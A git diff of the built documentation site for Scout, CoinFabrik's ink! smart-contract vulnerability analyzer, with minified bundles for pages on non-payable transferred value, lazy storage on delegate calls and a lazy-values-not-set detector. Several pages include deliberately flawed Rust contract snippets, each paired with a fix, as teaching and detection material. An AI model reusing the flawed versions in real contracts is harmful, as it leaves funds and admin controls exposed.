diff --git a/404.html b/404.html index e45419f6..c409ecc6 100644 --- a/404.html +++ b/404.html @@ -5,13 +5,13 @@ Page Not Found | Scout - - + +
Skip to main content

Page Not Found

We could not find what you were looking for.

Please contact the owner of the site that linked you to the original URL and let them know their link is broken.

- - + + \ No newline at end of file diff --git a/about.html b/about.html index 41d052fc..58762032 100644 --- a/about.html +++ b/about.html @@ -5,13 +5,13 @@ About | Scout - - + +
Skip to main content

About

We - CoinFabrik - are a research and development company specialized in Web3, with a strong background in cybersecurity. Founded in 2014, we have worked on over 180 blockchain-related projects, EVM based and also for Solana, Algorand, and Polkadot. Beyond development, we offer security audits through a dedicated in-house team of senior cybersecurity professionals, currently working on code in Substrate, Solidity, Clarity, Rust, and TEAL.

Our team has an academic background in computer science and mathematics, with work experience focused on cybersecurity and software development, including academic publications, patents turned into products, and conference presentations. Furthermore, we have an ongoing collaboration on knowledge transfer and open-source projects with the University of Buenos Aires.

- - + + \ No newline at end of file diff --git a/acknowledgements.html b/acknowledgements.html index 00ad0acb..521a63f2 100644 --- a/acknowledgements.html +++ b/acknowledgements.html @@ -5,13 +5,13 @@ Acknowledgements | Scout - - + +
Skip to main content

Acknowledgements

Scout is an open source vulnerability analyzer developed by CoinFabrik's Research and Development team.

Grants

We received support through grants from both the Web3 Foundation Grants Program and the Aleph Zero Ecosystem Funding Program.

Grant ProgramDescription
Web3 FoundationProof of Concept: We collaborated with the Laboratory on Foundations and Tools for Software Engineering (LaFHIS) at the University of Buenos Aires to establish analysis techniques and tools for our detectors, as well as to create an initial list of vulnerability classes and code examples. View PoC | View Application Form.

Prototype: We built a functioning prototype using linting detectors built with Dylint and expanded the list of vulnerability classes, detectors, and test cases. View Prototype | View Application Form.
Aleph Zero Grant ProgramWe improved the precision and number of detectors for the tool with a multi-phase approach. This included a manual vulnerability analysis of projects in the Aleph Zero ecosystem, extensive testing of the tool on top projects, and refining detection accuracy.
- - + + \ No newline at end of file diff --git a/assets/js/04c8445c.08abde50.js b/assets/js/04c8445c.08abde50.js new file mode 100644 index 00000000..bf8ef0c3 --- /dev/null +++ b/assets/js/04c8445c.08abde50.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[8921],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>b});var r=n(9496);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var s=r.createContext({}),u=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},p=function(e){var t=u(e.components);return r.createElement(s.Provider,{value:t},e.children)},c="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,a=e.mdxType,i=e.originalType,s=e.parentName,p=o(e,["components","mdxType","originalType","parentName"]),c=u(n),f=a,b=c["".concat(s,".").concat(f)]||c[f]||d[f]||i;return n?r.createElement(b,l(l({ref:t},p),{},{components:n})):r.createElement(b,l({ref:t},p))}));function b(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var i=n.length,l=new Array(i);l[0]=f;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[c]="string"==typeof e?e:a,l[1]=o;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>d,frontMatter:()=>i,metadata:()=>o,toc:()=>u});var r=n(2564),a=(n(9496),n(9613));const i={},l="Non payable transferred value",o={unversionedId:"vulnerabilities/non-payable-transferred-value",id:"vulnerabilities/non-payable-transferred-value",title:"Non payable transferred value",description:"Description",source:"@site/docs/vulnerabilities/30-non-payable-transferred-value.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/non-payable-transferred-value",permalink:"/scout/docs/vulnerabilities/non-payable-transferred-value",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/30-non-payable-transferred-value.md",tags:[],version:"current",sidebarPosition:30,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Avoid autokey upgradable",permalink:"/scout/docs/vulnerabilities/avoid-autokey-upgradable"},next:{title:"Vec could be mapping",permalink:"/scout/docs/vulnerabilities/vec-could-be-mapping"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2}],p={toc:u},c="wrapper";function d(e){let{components:t,...n}=e;return(0,a.kt)(c,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,a.kt)("h1",{id:"non-payable-transferred-value"},"Non payable transferred value"),(0,a.kt)("h2",{id:"description"},"Description"),(0,a.kt)("ul",null,(0,a.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,a.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,a.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,a.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,a.kt)("li",{parentName:"ul"},"Detectors: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/non-payable-transferred-value"},(0,a.kt)("inlineCode",{parentName:"a"},"non-payable-transferred-value"))),(0,a.kt)("li",{parentName:"ul"},"Test Cases: ",(0,a.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/non-payable-transferred-value/non-payable-transferred-value-1"},(0,a.kt)("inlineCode",{parentName:"a"},"non-payable-transferred-value-1")))),(0,a.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,a.kt)("p",null,"Consider the following function."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn something(&self) -> bool {\n self.env().transferred_value() > 0\n }\n")),(0,a.kt)("p",null,"This function is not payable as it does not have the ",(0,a.kt)("inlineCode",{parentName:"p"},"#[ink(payable)]")," attribute, but it checks for ",(0,a.kt)("inlineCode",{parentName:"p"},"self.env().transferred_value()")," and it will always evaluate to ",(0,a.kt)("inlineCode",{parentName:"p"},"0")," if the function is not payable."),(0,a.kt)("h2",{id:"remediation"},"Remediation"),(0,a.kt)("p",null,"Make the function ",(0,a.kt)("inlineCode",{parentName:"p"},"payable")," if you want to check the transferred value."),(0,a.kt)("pre",null,(0,a.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message, payable)]\n pub fn something(&self) -> bool {\n self.env().transferred_value() > 0\n }\n")))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/0e5fb7e3.0d10bdec.js b/assets/js/0e5fb7e3.0d10bdec.js deleted file mode 100644 index 25ee9c11..00000000 --- a/assets/js/0e5fb7e3.0d10bdec.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3687],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>g});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function l(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var s=a.createContext({}),c=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},u=function(e){var t=c(e.components);return a.createElement(s.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},m=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,i=e.originalType,s=e.parentName,u=o(e,["components","mdxType","originalType","parentName"]),p=c(n),m=r,g=p["".concat(s,".").concat(m)]||p[m]||d[m]||i;return n?a.createElement(g,l(l({ref:t},u),{},{components:n})):a.createElement(g,l({ref:t},u))}));function g(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var i=n.length,l=new Array(i);l[0]=m;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[p]="string"==typeof e?e:r,l[1]=o;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>d,frontMatter:()=>i,metadata:()=>o,toc:()=>c});var a=n(2564),r=(n(9496),n(9613));const i={},l="Lazy storage on delegate",o={unversionedId:"vulnerabilities/lazy-delegate",id:"vulnerabilities/lazy-delegate",title:"Lazy storage on delegate",description:"Description",source:"@site/docs/vulnerabilities/23-lazy-delegate.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/lazy-delegate",permalink:"/scout/docs/vulnerabilities/lazy-delegate",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/23-lazy-delegate.md",tags:[],version:"current",sidebarPosition:23,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected mapping operation",permalink:"/scout/docs/vulnerabilities/unprotected-mapping-operation"},next:{title:"Lazy values not set",permalink:"/scout/docs/vulnerabilities/lazy-values-not-set"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},p="wrapper";function d(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},u,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"lazy-storage-on-delegate"},"Lazy storage on delegate"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Known Bugs")),(0,r.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/lazy-delegate"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-delegate"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-delegate/lazy-delegate-1"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-delegate-1")))),(0,r.kt)("p",null,"ink! has a bug that makes delegated calls not modify the storage of the caller, unless it's using ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," with ",(0,r.kt)("inlineCode",{parentName:"p"},"ManualKey")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping"),"."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"Consider the following ",(0,r.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'\n// With this storage\n #[ink(storage)]\n pub struct DelegateCall {\n admin: AccountId,\n }\n\n\n #[ink(message)]\n pub fn change_admin(\n &mut self,\n target: Hash,\n new_admin: AccountId,\n ) -> Result {\n if self.admin != self.env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n let res = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("change_admin")))\n .push_arg(new_admin),\n )\n .returns::()\n .try_invoke()\n .map_err(|_| Error::DelegateCallFailed)?\n .map_err(|_| Error::DelegateCallFailed)?;\n\n Ok(res)\n}\n')),(0,r.kt)("p",null,"In this example, the function ",(0,r.kt)("inlineCode",{parentName:"p"},"change_admin")," takes ",(0,r.kt)("inlineCode",{parentName:"p"},"new_admin")," and sets it as the new admin. If this function is called, ",(0,r.kt)("inlineCode",{parentName:"p"},"self.admin")," will be the same as before, even if it's setted to a new ",(0,r.kt)("inlineCode",{parentName:"p"},"AccountId"),"."),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-delegate/lazy-delegate-1/vulnerable-example"},(0,r.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"To remediate this, we can use ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," to store things."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(storage)]\n #[derive(Default)]\n pub struct DelegateCall {\n admin: Lazy>,\n }\n\n #[ink(message, payable)]\n pub fn change_admin(\n &mut self,\n target: Hash,\n new_admin: AccountId,\n ) -> Result {\n if self.admin.get().unwrap() != self.env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n let res = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("change_admin")))\n .push_arg(new_admin),\n )\n .returns::()\n .try_invoke()\n .map_err(|_| Error::DelegateCallFailed)?\n .map_err(|_| Error::DelegateCallFailed)?;\n\n Ok(res)\n }\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-delegate/lazy-delegate-1/remediated-example"},(0,r.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1825"},"https://github.com/paritytech/ink/issues/1825")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1826"},"https://github.com/paritytech/ink/issues/1826"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/0e5fb7e3.6c0a2542.js b/assets/js/0e5fb7e3.6c0a2542.js new file mode 100644 index 00000000..cfcf665c --- /dev/null +++ b/assets/js/0e5fb7e3.6c0a2542.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3687],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>g});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function l(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var s=a.createContext({}),c=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},p=function(e){var t=c(e.components);return a.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},m=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,i=e.originalType,s=e.parentName,p=o(e,["components","mdxType","originalType","parentName"]),u=c(n),m=r,g=u["".concat(s,".").concat(m)]||u[m]||d[m]||i;return n?a.createElement(g,l(l({ref:t},p),{},{components:n})):a.createElement(g,l({ref:t},p))}));function g(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var i=n.length,l=new Array(i);l[0]=m;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[u]="string"==typeof e?e:r,l[1]=o;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>d,frontMatter:()=>i,metadata:()=>o,toc:()=>c});var a=n(2564),r=(n(9496),n(9613));const i={},l="Lazy storage on delegate",o={unversionedId:"vulnerabilities/lazy-delegate",id:"vulnerabilities/lazy-delegate",title:"Lazy storage on delegate",description:"Description",source:"@site/docs/vulnerabilities/23-lazy-delegate.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/lazy-delegate",permalink:"/scout/docs/vulnerabilities/lazy-delegate",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/23-lazy-delegate.md",tags:[],version:"current",sidebarPosition:23,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Unprotected mapping operation",permalink:"/scout/docs/vulnerabilities/unprotected-mapping-operation"},next:{title:"Incorrect Exponentiation",permalink:"/scout/docs/vulnerabilities/incorrect-exponentiation"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:c},u="wrapper";function d(e){let{components:t,...n}=e;return(0,r.kt)(u,(0,a.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"lazy-storage-on-delegate"},"Lazy storage on delegate"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Known Bugs")),(0,r.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/lazy-delegate"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-delegate"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-delegate/lazy-delegate-1"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-delegate-1")))),(0,r.kt)("p",null,(0,r.kt)("inlineCode",{parentName:"p"},"ink!")," has a bug that makes delegated calls not modify the storage of the caller, unless it's using ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," with ",(0,r.kt)("inlineCode",{parentName:"p"},"ManualKey")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping"),"."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"Consider the following ",(0,r.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},'\n// With this storage\n #[ink(storage)]\n pub struct DelegateCall {\n admin: AccountId,\n }\n\n\n #[ink(message)]\n pub fn change_admin(\n &mut self,\n target: Hash,\n new_admin: AccountId,\n ) -> Result {\n if self.admin != self.env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n let res = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("change_admin")))\n .push_arg(new_admin),\n )\n .returns::()\n .try_invoke()\n .map_err(|_| Error::DelegateCallFailed)?\n .map_err(|_| Error::DelegateCallFailed)?;\n\n Ok(res)\n}\n')),(0,r.kt)("p",null,"In this example, the function ",(0,r.kt)("inlineCode",{parentName:"p"},"change_admin")," takes ",(0,r.kt)("inlineCode",{parentName:"p"},"new_admin")," and sets it as the new admin. If this function is called, ",(0,r.kt)("inlineCode",{parentName:"p"},"self.admin")," will be the same as before, even if it's setted to a new ",(0,r.kt)("inlineCode",{parentName:"p"},"AccountId"),"."),(0,r.kt)("p",null,"The vulnerable code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-delegate/lazy-delegate-1/vulnerable-example"},(0,r.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"To remediate this, we can use ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," to store things."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"},' #[ink(storage)]\n #[derive(Default)]\n pub struct DelegateCall {\n admin: Lazy>,\n }\n\n #[ink(message, payable)]\n pub fn change_admin(\n &mut self,\n target: Hash,\n new_admin: AccountId,\n ) -> Result {\n if self.admin.get().unwrap() != self.env().caller() {\n return Err(Error::NotAnAdmin);\n }\n\n let res = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(ink::selector_bytes!("change_admin")))\n .push_arg(new_admin),\n )\n .returns::()\n .try_invoke()\n .map_err(|_| Error::DelegateCallFailed)?\n .map_err(|_| Error::DelegateCallFailed)?;\n\n Ok(res)\n }\n')),(0,r.kt)("p",null,"The remediated code example can be found ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-delegate/lazy-delegate-1/remediated-example"},(0,r.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,r.kt)("h2",{id:"references"},"References"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1825"},"https://github.com/paritytech/ink/issues/1825")),(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://github.com/paritytech/ink/issues/1826"},"https://github.com/paritytech/ink/issues/1826"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/0ffb054f.16071d5f.js b/assets/js/0ffb054f.16071d5f.js new file mode 100644 index 00000000..e2b87414 --- /dev/null +++ b/assets/js/0ffb054f.16071d5f.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2336],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>f});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function o(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var s=a.createContext({}),u=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},c=function(e){var t=u(e.components);return a.createElement(s.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},m=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,l=e.originalType,s=e.parentName,c=i(e,["components","mdxType","originalType","parentName"]),p=u(n),m=r,f=p["".concat(s,".").concat(m)]||p[m]||d[m]||l;return n?a.createElement(f,o(o({ref:t},c),{},{components:n})):a.createElement(f,o({ref:t},c))}));function f(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var l=n.length,o=new Array(l);o[0]=m;var i={};for(var s in t)hasOwnProperty.call(t,s)&&(i[s]=t[s]);i.originalType=e,i[p]="string"==typeof e?e:r,o[1]=i;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>d,frontMatter:()=>l,metadata:()=>i,toc:()=>u});var a=n(2564),r=(n(9496),n(9613));const l={},o="Lazy values get and not set",i={unversionedId:"detectors/lazy-values-not-set",id:"detectors/lazy-values-not-set",title:"Lazy values get and not set",description:"What it does",source:"@site/docs/detectors/28-lazy-values-not-set.md",sourceDirName:"detectors",slug:"/detectors/lazy-values-not-set",permalink:"/scout/docs/detectors/lazy-values-not-set",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/28-lazy-values-not-set.md",tags:[],version:"current",sidebarPosition:28,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Warning sr25519_verify",permalink:"/scout/docs/detectors/warning-sr25519-verify"},next:{title:"Avoid AutoKey Upgradable",permalink:"/scout/docs/detectors/avoid-autokey-upgradable"}},s={},u=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"More info",id:"more-info",level:4},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],c={toc:u},p="wrapper";function d(e){let{components:t,...n}=e;return(0,r.kt)(p,(0,a.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"lazy-values-get-and-not-set"},"Lazy values get and not set"),(0,r.kt)("h3",{id:"what-it-does"},"What it does"),(0,r.kt)("p",null,"Check that if ",(0,r.kt)("inlineCode",{parentName:"p"},"get")," is used on a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," variable, ",(0,r.kt)("inlineCode",{parentName:"p"},"set")," or ",(0,r.kt)("inlineCode",{parentName:"p"},"insert")," is subsequently used to change its value."),(0,r.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,r.kt)("p",null,"The ",(0,r.kt)("inlineCode",{parentName:"p"},"get")," function of a ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," or a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," returns a local copy of the value, so changes made to that variable aren't automatically saved in the storage. To save those changes, you must call the ",(0,r.kt)("inlineCode",{parentName:"p"},"insert")," function in the case of a ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping"),", or ",(0,r.kt)("inlineCode",{parentName:"p"},"set")," in the case of a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy"),"."),(0,r.kt)("p",null,"As indicated ",(0,r.kt)("a",{parentName:"p",href:"https://use.ink/datastructures/mapping#updating-values"},"here"),', it\'s a common pitfall that we decided to warn about, even though there are cases like getter functions where using "get" is necessary and not modifying the value. For cases like this, you can ignore the lint by adding #',"[allow(lazy_values_not_set)]"," immediately before the function definition."),(0,r.kt)("h4",{id:"more-info"},"More info"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},(0,r.kt)("a",{parentName:"li",href:"https://use.ink/datastructures/mapping#updating-values"},"https://use.ink/datastructures/mapping#updating-values"))),(0,r.kt)("h3",{id:"example"},"Example"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message, payable)]\n pub fn transfer(&mut self) {\n let caller = self.env().caller();\n let mut balance = self.balances.get(caller).unwrap_or(0);\n let endowment = self.env().transferred_value();\n balance += endowment;\n }\n")),(0,r.kt)("p",null,"Use instead:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message, payable)]\n pub fn transfer(&mut self) {\n let caller = self.env().caller();\n let mut balance = self.balances.get(caller).unwrap_or(0);\n let endowment = self.env().transferred_value();\n balance += endowment;\n self.balances.insert(caller, &balance);\n }\n")),(0,r.kt)("p",null,"If you want to ignore the lint in getter functions do:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n #[allow(lazy_values_not_set)]\n pub fn get_balance(&self) -> Option {\n let caller = self.env().caller();\n self.balances.get(caller)\n }\n")),(0,r.kt)("h3",{id:"implementation"},"Implementation"),(0,r.kt)("p",null,"The detector's implementation can be found at ",(0,r.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/lazy-values-not-set"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/0ffb054f.d8488d13.js b/assets/js/0ffb054f.d8488d13.js deleted file mode 100644 index 00f9e848..00000000 --- a/assets/js/0ffb054f.d8488d13.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2336],{9613:(e,t,n)=>{n.d(t,{Zo:()=>u,kt:()=>f});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function l(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function o(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var i=a.createContext({}),c=function(e){var t=a.useContext(i),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},u=function(e){var t=c(e.components);return a.createElement(i.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},m=a.forwardRef((function(e,t){var 